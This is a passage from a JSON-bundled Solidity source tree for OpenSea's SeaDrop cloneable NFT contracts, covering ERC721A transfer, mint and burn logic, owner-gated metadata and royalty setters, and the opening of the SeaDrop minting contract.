to,\n uint256 tokenId\n ) public virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // We can directly increment and decrement the balances.\n --_packedAddressData[from]; // Updates: `balance -= 1`.\n ++_packedAddressData[to]; // Updates: `balance += 1`.\n\n // Updates:\n // - `address` to the next owner.\n // - `startTimestamp` to the timestamp of transfering.\n // - `burned` to `false`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n transferFrom(from, to, tokenId);\n if (to.code.length != 0) {\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n }\n\n /**\n * @dev Hook that is called before a set of serially-ordered token IDs\n * are about to be transferred. This includes minting.\n * And also called before burning one token.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after a set of serially-ordered token IDs\n * have been transferred. This includes minting.\n * And also called after one token has been burned.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been\n * transferred to `to`.\n * - When `from` is zero, `tokenId` has been minted for `to`.\n * - When `to` is zero, `tokenId` has been burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.\n *\n * `from` - Previous owner of the given token ID.\n * `to` - Target address that will receive the token.\n * `tokenId` - Token ID to be transferred.\n * `_data` - Optional data to send along with the call.\n *\n * Returns whether the call correctly returned the expected magic value.\n */\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n // =============================================================\n // MINT OPERATIONS\n // =============================================================\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // `balance` and `numberMinted` have a maximum limit of 2**64.\n // `tokenId` has a maximum limit of 2**256.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 toMasked;\n uint256 end = startTokenId + quantity;\n\n // Use assembly to loop and emit the `Transfer` event for gas savings.\n // The duplicated `log4` removes an extra check and reduces stack juggling.\n // The assembly, together with the surrounding Solidity code, have been\n // delicately arranged to nudge the compiler into producing optimized opcodes.\n assembly {\n // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.\n toMasked := and(to, _BITMASK_ADDRESS)\n // Emit the `Transfer` event.\n log4(\n 0, // Start of data (0, since no data).\n 0, // End of data (0, since no data).\n _TRANSFER_EVENT_SIGNATURE, // Signature.\n 0, // `address(0)`.\n toMasked, // `to`.\n startTokenId // `tokenId`.\n )\n\n // The `iszero(eq(,))` check ensures that large values of `quantity`\n // that overflows uint256 will make the loop run out of gas.\n // The compiler will optimize the `iszero` away for performance.\n for {\n let tokenId := add(startTokenId, 1)\n } iszero(eq(tokenId, end)) {\n tokenId := add(tokenId, 1)\n } {\n // Emit the `Transfer` event. Similar to above.\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n }\n if (toMasked == 0) revert MintToZeroAddress();\n\n _currentIndex = end;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * This function is intended for efficient minting only during contract creation.\n *\n * It emits only one {ConsecutiveTransfer} as defined in\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),\n * instead of a sequence of {Transfer} event(s).\n *\n * Calling this function outside of contract creation WILL make your contract\n * non-compliant with the ERC721 standard.\n * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309\n * {ConsecutiveTransfer} event is only permissible during contract creation.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {ConsecutiveTransfer} event.\n */\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are unrealistic due to the above check for `quantity` to be below the limit.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Safely mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.\n * - `quantity` must be greater than 0.\n *\n * See {_mint}.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n uint256 index = end - quantity;\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n // Reentrancy protection.\n if (_currentIndex != end) revert();\n }\n }\n }\n\n /**\n * @dev Equivalent to `_safeMint(to, quantity, '')`.\n */\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n // =============================================================\n // BURN OPERATIONS\n // =============================================================\n\n /**\n * @dev Equivalent to `_burn(tokenId, false)`.\n */\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // Updates:\n // - `balance -= 1`.\n // - `numberBurned += 1`.\n //\n // We can directly decrement the balance, and increment the number burned.\n // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.\n _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;\n\n // Updates:\n // - `address` to the last owner.\n // - `startTimestamp` to the timestamp of burning.\n // - `burned` to `true`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.\n unchecked {\n _burnCounter++;\n }\n }\n\n // =============================================================\n // EXTRA DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Directly sets the extra data for the ownership data `index`.\n */\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = _packedOwnerships[index];\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n uint256 extraDataCasted;\n // Cast `extraData` with assembly to avoid redundant masking.\n assembly {\n extraDataCasted := extraData\n }\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n _packedOwnerships[index] = packed;\n }\n\n /**\n * @dev Called during each token transfer to set the 24bit `extraData` field.\n * Intended to be overridden by the cosumer contract.\n *\n * `previousExtraData` - the value of `extraData` before transfer.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n /**\n * @dev Returns the next extra data for the packed ownership data.\n * The returned result is shifted into position.\n */\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n // =============================================================\n // OTHER OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the message sender (defaults to `msg.sender`).\n *\n * If you are writing GSN compatible contracts, you need to override this function.\n */\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n /**\n * @dev Converts a uint256 to its ASCII string decimal representation.\n */\n function _toString(uint256 value)\n internal\n pure\n virtual\n returns (string memory str)\n {\n assembly {\n // The maximum value of a uint256 contains 78 digits (1 byte per digit), but\n // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.\n // We will need 1 word for the trailing zeros padding, 1 word for the length,\n // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.\n let m := add(mload(0x40), 0xa0)\n // Update the free memory pointer to allocate.\n mstore(0x40, m)\n // Assign the `str` to the end.\n str := sub(m, 0x20)\n // Zeroize the slot after the string.\n mstore(str, 0)\n\n // Cache the end of the memory to calculate the length later.\n let end := str\n\n // We write the string from rightmost digit to leftmost digit.\n // The following is essentially a do-while loop that also handles the zero case.\n // prettier-ignore\n for { let temp := value } 1 {} {\n str := sub(str, 1)\n // Write the character to the pointer.\n // The ASCII index of the '0' character is 48.\n mstore8(str, add(48, mod(temp, 10)))\n // Keep dividing `temp` until zero.\n temp := div(temp, 10)\n // prettier-ignore\n if iszero(temp) { break }\n }\n\n let length := sub(end, str)\n // Move the pointer 32 bytes leftwards to make room for the length.\n str := sub(str, 0x20)\n // Store the length.\n mstore(str, length)\n }\n }\n}\n"
},
"src/clones/ERC721ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"../interfaces/ISeaDropTokenContractMetadata.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport { TwoStepOwnable } from \"utility-contracts/TwoStepOwnable.sol\";\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC721ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721ContractMetadata is a token contract that extends ERC721A\n * with additional metadata and ownership capabilities.\n */\ncontract ERC721ContractMetadataCloneable is\n ERC721ACloneable,\n TwoStepOwnable,\n ISeaDropTokenContractMetadata\n{\n /// @notice Track the max supply.\n uint256 _maxSupply;\n\n /// @notice Track the base URI for token metadata.\n string _tokenBaseURI;\n\n /// @notice Track the contract URI for contract metadata.\n string _contractURI;\n\n /// @notice Track the provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 _provenanceHash;\n\n /// @notice Track the royalty info: address to receive royalties, and\n /// royalty basis points.\n RoyaltyInfo _royaltyInfo;\n\n /**\n * @dev Reverts if the sender is not the owner or the contract itself.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n */\n function _onlyOwnerOrSelf() internal view {\n if (\n _cast(msg.sender == owner()) | _cast(msg.sender == address(this)) ==\n 0\n ) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new base URI.\n _tokenBaseURI = newBaseURI;\n\n // Emit an event with the update.\n if (totalSupply() != 0) {\n emit BatchMetadataUpdate(1, _nextTokenId() - 1);\n }\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId)\n external\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the max supply does not exceed the maximum value of uint64.\n if (newMaxSupply > 2**64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _maxSupply = newMaxSupply;\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if any items have been minted.\n if (_totalMinted() > 0) {\n revert ProvenanceHashCannotBeSetAfterMintStarted();\n }\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if the new royalty address is the zero address.\n if (newInfo.royaltyAddress == address(0)) {\n revert RoyaltyAddressCannotBeZeroAddress();\n }\n\n // Revert if the new basis points is greater than 10_000.\n if (newInfo.royaltyBps > 10_000) {\n revert InvalidRoyaltyBasisPoints(newInfo.royaltyBps);\n }\n\n // Set the new royalty info.\n _royaltyInfo = newInfo;\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(newInfo.royaltyAddress, newInfo.royaltyBps);\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI();\n }\n\n /**\n * @notice Returns the base URI for the contract, which ERC721A uses\n * to return tokenURI.\n */\n function _baseURI() internal view virtual override returns (string memory) {\n return _tokenBaseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() public view returns (uint256) {\n return _maxSupply;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address) {\n return _royaltyInfo.royaltyAddress;\n }\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256) {\n return _royaltyInfo.royaltyBps;\n }\n\n /**\n * @notice Called with the sale price to determine how much royalty\n * is owed and to whom.\n *\n * @ param _tokenId The NFT asset queried for royalty information.\n * @param _salePrice The sale price of the NFT asset specified by\n * _tokenId.\n *\n * @return receiver Address of who should be sent the royalty payment.\n * @return royaltyAmount The royalty payment amount for _salePrice.\n */\n function royaltyInfo(\n uint256,\n /* _tokenId */\n uint256 _salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n // Put the royalty info on the stack for more efficient access.\n RoyaltyInfo storage info = _royaltyInfo;\n\n // Set the royalty amount to the sale price times the royalty basis\n // points divided by 10_000.\n royaltyAmount = (_salePrice * info.royaltyBps) / 10_000;\n\n // Set the receiver of the royalty.\n receiver = info.royaltyAddress;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ACloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal pure function to cast a `bool` value to a `uint256` value.\n *\n * @param b The `bool` value to cast.\n *\n * @return u The `uint256` value.\n */\n function _cast(bool b) internal pure returns (uint256 u) {\n assembly {\n u := b\n }\n }\n}\n"
},
"src/clones/ERC721SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ERC721ContractMetadataCloneable,\n ISeaDropTokenContractMetadata\n} from \"./ERC721ContractMetadataCloneable.sol\";\n\nimport {\n INonFungibleSeaDropToken\n} from \"../interfaces/INonFungibleSeaDropToken.sol\";\n\nimport { ISeaDrop } from \"../interfaces/ISeaDrop.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC721SeaDropStructsErrorsAndEvents\n} from \"../lib/ERC721SeaDropStructsErrorsAndEvents.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport {\n ReentrancyGuardUpgradeable\n} from \"openzeppelin-contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\nimport {\n DefaultOperatorFiltererUpgradeable\n} from \"operator-filter-registry/upgradeable/DefaultOperatorFiltererUpgradeable.sol\";\n\n/**\n * @title ERC721SeaDrop\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721SeaDrop is a token contract that contains methods\n * to properly interact with SeaDrop.\n */\ncontract ERC721SeaDropCloneable is\n ERC721ContractMetadataCloneable,\n INonFungibleSeaDropToken,\n ERC721SeaDropStructsErrorsAndEvents,\n ReentrancyGuardUpgradeable,\n DefaultOperatorFiltererUpgradeable\n{\n /// @notice Track the allowed SeaDrop addresses.\n mapping(address => bool) internal _allowedSeaDrop;\n\n /// @notice Track the enumerated allowed SeaDrop addresses.\n address[] internal _enumeratedAllowedSeaDrop;\n\n /**\n * @dev Reverts if not an allowed SeaDrop contract.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n *\n * @param seaDrop The SeaDrop address to check if allowed.\n */\n function _onlyAllowedSeaDrop(address seaDrop) internal view {\n if (_allowedSeaDrop[seaDrop] != true) {\n revert OnlyAllowedSeaDrop();\n }\n }\n\n /**\n * @notice Deploy the token contract with its name, symbol,\n * and allowed SeaDrop addresses.\n */\n function initialize(\n string calldata __name,\n string calldata __symbol,\n address[] calldata allowedSeaDrop,\n address initialOwner\n ) public initializer {\n __ERC721ACloneable__init(__name, __symbol);\n __ReentrancyGuard_init();\n __DefaultOperatorFilterer_init();\n _updateAllowedSeaDrop(allowedSeaDrop);\n _transferOwnership(initialOwner);\n emit SeaDropTokenDeployed();\n }\n\n /**\n * @notice Update the allowed SeaDrop contracts.\n * Only the owner or administrator can use this function.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function updateAllowedSeaDrop(address[] calldata allowedSeaDrop)\n external\n virtual\n override\n onlyOwner\n {\n _updateAllowedSeaDrop(allowedSeaDrop);\n }\n\n /**\n * @notice Internal function to update the allowed SeaDrop contracts.\n *\n * @param allowedSeaDrop The allowed SeaDrop addresses.\n */\n function _updateAllowedSeaDrop(address[] calldata allowedSeaDrop) internal {\n // Put the length on the stack for more efficient access.\n uint256 enumeratedAllowedSeaDropLength = _enumeratedAllowedSeaDrop\n .length;\n uint256 allowedSeaDropLength = allowedSeaDrop.length;\n\n // Reset the old mapping.\n for (uint256 i = 0; i < enumeratedAllowedSeaDropLength; ) {\n _allowedSeaDrop[_enumeratedAllowedSeaDrop[i]] = false;\n unchecked {\n ++i;\n }\n }\n\n // Set the new mapping for allowed SeaDrop contracts.\n for (uint256 i = 0; i < allowedSeaDropLength; ) {\n _allowedSeaDrop[allowedSeaDrop[i]] = true;\n unchecked {\n ++i;\n }\n }\n\n // Set the enumeration.\n _enumeratedAllowedSeaDrop = allowedSeaDrop;\n\n // Emit an event for the update.\n emit AllowedSeaDropUpdated(allowedSeaDrop);\n }\n\n /**\n * @dev Overrides the `_startTokenId` function from ERC721A\n * to start at token id `1`.\n *\n * This is to avoid future possible problems since `0` is usually\n * used to signal values that have not been set or have been removed.\n */\n function _startTokenId() internal view virtual override returns (uint256) {\n return 1;\n }\n\n /**\n * @dev Overrides the `tokenURI()` function from ERC721A\n * to return just the base URI if it is implied to not be a directory.\n *\n * This is to help with ERC721 contracts in which the same token URI\n * is desired for each token, such as when the tokenURI is 'unrevealed'.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n // Exit early if the baseURI is empty.\n if (bytes(baseURI).length == 0) {\n return \"\";\n }\n\n // Check if the last character in baseURI is a slash.\n if (bytes(baseURI)[bytes(baseURI).length - 1] != bytes(\"/\")[0]) {\n return baseURI;\n }\n\n return string(abi.encodePacked(baseURI, _toString(tokenId)));\n }\n\n /**\n * @notice Mint tokens, restricted to the SeaDrop contract.\n *\n * @dev NOTE: If a token registers itself with multiple SeaDrop\n * contracts, the implementation of this function should guard\n * against reentrancy. If the implementing token uses\n * _safeMint(), or a feeRecipient with a malicious receive() hook\n * is specified, the token or fee recipients may be able to execute\n * another mint in the same transaction via a separate SeaDrop\n * contract.\n * This is dangerous if an implementing token does not correctly\n * update the minterNumMinted and currentTotalSupply values before\n * transferring minted tokens, as SeaDrop references these values\n * to enforce token limits on a per-wallet and per-stage basis.\n *\n * ERC721A tracks these values automatically, but this note and\n * nonReentrant modifier are left here to encourage best-practices\n * when referencing this contract.\n *\n * @param minter The address to mint to.\n * @param quantity The number of tokens to mint.\n */\n function mintSeaDrop(address minter, uint256 quantity)\n external\n virtual\n override\n nonReentrant\n {\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(msg.sender);\n\n // Extra safety check to ensure the max supply is not exceeded.\n if (_totalMinted() + quantity > maxSupply()) {\n revert MintQuantityExceedsMaxSupply(\n _totalMinted() + quantity,\n maxSupply()\n );\n }\n\n // Mint the quantity of tokens to the minter.\n _safeMint(minter, quantity);\n }\n\n /**\n * @notice Update the public drop data for this nft contract on SeaDrop.\n * Only the owner can use this function.\n *\n * @param seaDropImpl The allowed SeaDrop contract.\n * @param publicDrop The public drop data.\n */\n function updatePublicDrop(\n address seaDropImpl,\n PublicDrop calldata publicDrop\n ) external virtual override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the SeaDrop is allowed.\n _onlyAllowedSeaDrop(seaDropImpl);\n\n // Update the public drop data on SeaDrop.\n ISeaDrop(seaDropImpl).updatePublicDrop(publicDrop);\n }\n\n /**\n * @notice Update the allow list 